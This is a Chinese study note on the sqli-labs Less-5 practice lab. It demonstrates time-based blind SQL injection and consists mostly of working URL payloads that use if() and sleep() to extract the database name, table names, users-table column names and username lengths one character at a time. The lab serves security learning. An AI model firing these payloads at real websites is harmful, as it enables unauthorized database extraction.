- 使用工具的时代一去不复返,为了强化自己的技能,最近打算利用靶场把所有的漏洞都从头进行复习一遍,并做好笔记,方便以后温故而知新。
- sqli-labs/less-5 延时注入。通过sleep判断执行的语句对错。
- 首先说一下if,举个例子 if(a>0,b,c) 如果a>0正确就会执行b否则执行c
less-5/?id=1' and if(length(database())=5,1,sleep(3))+--+
# 如果数据库的长度=5,就会执行1,否则sleep3秒
1.jpg
2.jpg
- 如上图length=5的时候休眠了3秒说明错了,=8的时候立即执行,所以数据库长度是8(还可以把=改成>或者<利用二分法判断数值)
- 判断完了数据库长度,开始猜解数据库的内容
less-5/?id=1' and if(ascii(substr(database(),1,1))>200,1,sleep(3))+--+
#截取数据库第一位的值的ascii跟200比较
3.jpg
-
很明显是错误的,说明值不大于200,然后再试是否大于100
4.jpg - 立即执行说明是大于100的,然后找出具体的数值对应的ascii值就得到第一位,以此类推找齐8位就解出数据库名字了。
- 找全了数据库接下来找数据表
- 首先查数据表的数量
/less-5/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,1,sleep(3))+--+
#等于4立即执行所以有4个表
- 猜解第一个表的长度
#1
less-5/?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6,sleep(5),1) +--+
#2猜解第二个表的长度
less-5/?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8,sleep(5),1) +--+
- 猜解表名
less-5/?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1)))>108,0,sleep(3))+--+
#大于108正确
less-5/?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1)))>109,0,sleep(3))+--+
#大于109错误,结论就是等于109
less-5/?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1)))=109,0,sleep(3))+--+
#依次类推就可以找出全部表名
- 先猜解字段数
less-5/?id=1' and if((select count(column_name) from information_schema.columns where table_name="users")=11,sleep(5),1)+--+
#说明有11个字段
- 猜字段名
#猜解字段名第一个字符
less-5/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1)))=117, sleep(3),0)+--+
#猜解字段名第二个字符
less-5/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),2,1)))=115, sleep(3),0)+--+
#猜解字段名第三个字符
less-5/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),3,1)))=101, sleep(3),0)+--+
#猜解字段名第四个字符
less-5/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),4,1)))=114, sleep(3),0)+--+
#猜解字段名第五个字符
less-5/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),5,1)))=95, sleep(3),0)+--+
- 爆security数据库里的第四个表的第一个字符
Less-5/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+
- 爆security数据库里的users表的第二个字段长度
Less-5/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+
- 爆security数据库里的users表的第二个字段的第一个字符
Less-5/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+
- 爆security数据库里的users表的第二个字段的第一个数据的长度
Less-5/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+
网友评论